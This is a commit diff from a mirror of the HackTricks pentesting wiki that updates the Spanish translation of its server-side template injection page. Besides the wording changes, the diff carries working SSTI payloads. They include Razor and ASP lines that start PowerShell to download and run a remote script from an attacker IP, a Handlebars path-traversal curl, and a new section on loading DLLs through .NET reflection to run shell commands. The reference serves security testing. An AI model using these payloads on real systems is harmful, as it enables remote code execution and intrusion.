mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
4e4f0c05ee
commit
079973bcff
@ -25,7 +25,7 @@ Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor
|
|||||||
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, **fuzzing de la plantilla** es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (**`${{<%[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
|
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, **fuzzing de la plantilla** es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (**`${{<%[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
|
||||||
|
|
||||||
- Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
- Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||||
- Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
- Ausencia del payload en la reflexión, o partes de él faltando, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
||||||
- **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
- **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||||
|
|
||||||
@ -96,7 +96,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
|
|||||||
```
|
```
|
||||||
### FreeMarker (Java)
|
### FreeMarker (Java)
|
||||||
|
|
||||||
Puedes probar tus payloads en [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
Puedes probar tus cargas útiles en [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||||||
|
|
||||||
- `{{7*7}} = {{7*7}}`
|
- `{{7*7}} = {{7*7}}`
|
||||||
- `${7*7} = 49`
|
- `${7*7} = 49`
|
||||||
@ -476,7 +476,7 @@ array("first_name" => $user.first_name)
|
|||||||
```
|
```
|
||||||
**Más información**
|
**Más información**
|
||||||
|
|
||||||
- En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
- En la sección de Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||||
|
|
||||||
### Plates (PHP)
|
### Plates (PHP)
|
||||||
@ -606,7 +606,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||||||
```
|
```
|
||||||
**Más información**
|
**Más información**
|
||||||
|
|
||||||
- En la sección Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
- En la sección de Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
@ -629,7 +629,7 @@ Hello {NAME}.<br/>
|
|||||||
|
|
||||||
### Handlebars (NodeJS)
|
### Handlebars (NodeJS)
|
||||||
|
|
||||||
Path Traversal (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
Traversal de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||||
```bash
|
```bash
|
||||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||||
```
|
```
|
||||||
@ -669,7 +669,7 @@ URLencoded:
|
|||||||
| **Plantilla** | **Descripción** |
|
| **Plantilla** | **Descripción** |
|
||||||
| -------------- | --------------------------------------- |
|
| -------------- | --------------------------------------- |
|
||||||
| | Evaluar y renderizar salida |
|
| | Evaluar y renderizar salida |
|
||||||
| | Evaluar y renderizar salida codificada en HTML |
|
| | Evaluar y renderizar salida HTML codificada |
|
||||||
| | Comentario |
|
| | Comentario |
|
||||||
| y | Permitir código (deshabilitado por defecto) |
|
| y | Permitir código (deshabilitado por defecto) |
|
||||||
|
|
||||||
@ -897,18 +897,18 @@ ${x}
|
|||||||
|
|
||||||
### Razor (.Net)
|
### Razor (.Net)
|
||||||
|
|
||||||
- `@(2+2) <= Éxito`
|
- `@(2+2) <= Success`
|
||||||
- `@() <= Éxito`
|
- `@() <= Success`
|
||||||
- `@("{{code}}") <= Éxito`
|
- `@("{{code}}") <= Success`
|
||||||
- `@ <=Éxito`
|
- `@ <=Success`
|
||||||
- `@{} <= ¡ERROR!`
|
- `@{} <= ERROR!`
|
||||||
- `@{ <= ¡ERRROR!`
|
- `@{ <= ERRROR!`
|
||||||
- `@(1+2)`
|
- `@(1+2)`
|
||||||
- `@( //C#Code )`
|
- `@( //C#Code )`
|
||||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||||
|
|
||||||
**Más información**
|
**Más información**
|
||||||
|
|
||||||
@ -919,8 +919,8 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu
|
|||||||
|
|
||||||
- `<%= 7*7 %>` = 49
|
- `<%= 7*7 %>` = 49
|
||||||
- `<%= "foo" %>` = foo
|
- `<%= "foo" %>` = foo
|
||||||
- `<%= foo %>` = Nada
|
- `<%= foo %>` = Nothing
|
||||||
- `<%= response.write(date()) %>` = \<Fecha>
|
- `<%= response.write(date()) %>` = \<Date>
|
||||||
```xml
|
```xml
|
||||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||||
```
|
```
|
||||||
@ -928,6 +928,23 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu
|
|||||||
|
|
||||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||||
|
|
||||||
|
### .Net Eludir restricciones
|
||||||
|
|
||||||
|
Los mecanismos de reflexión de .NET se pueden utilizar para eludir la lista negra o clases que no están presentes en la asamblea. Los DLL se pueden cargar en tiempo de ejecución con métodos y propiedades accesibles desde objetos básicos.
|
||||||
|
|
||||||
|
Los DLL se pueden cargar con:
|
||||||
|
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - desde el sistema de archivos.
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directamente desde la solicitud.
|
||||||
|
|
||||||
|
Ejecución completa de comandos:
|
||||||
|
```
|
||||||
|
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||||
|
```
|
||||||
|
**Más Información**
|
||||||
|
|
||||||
|
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
|
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user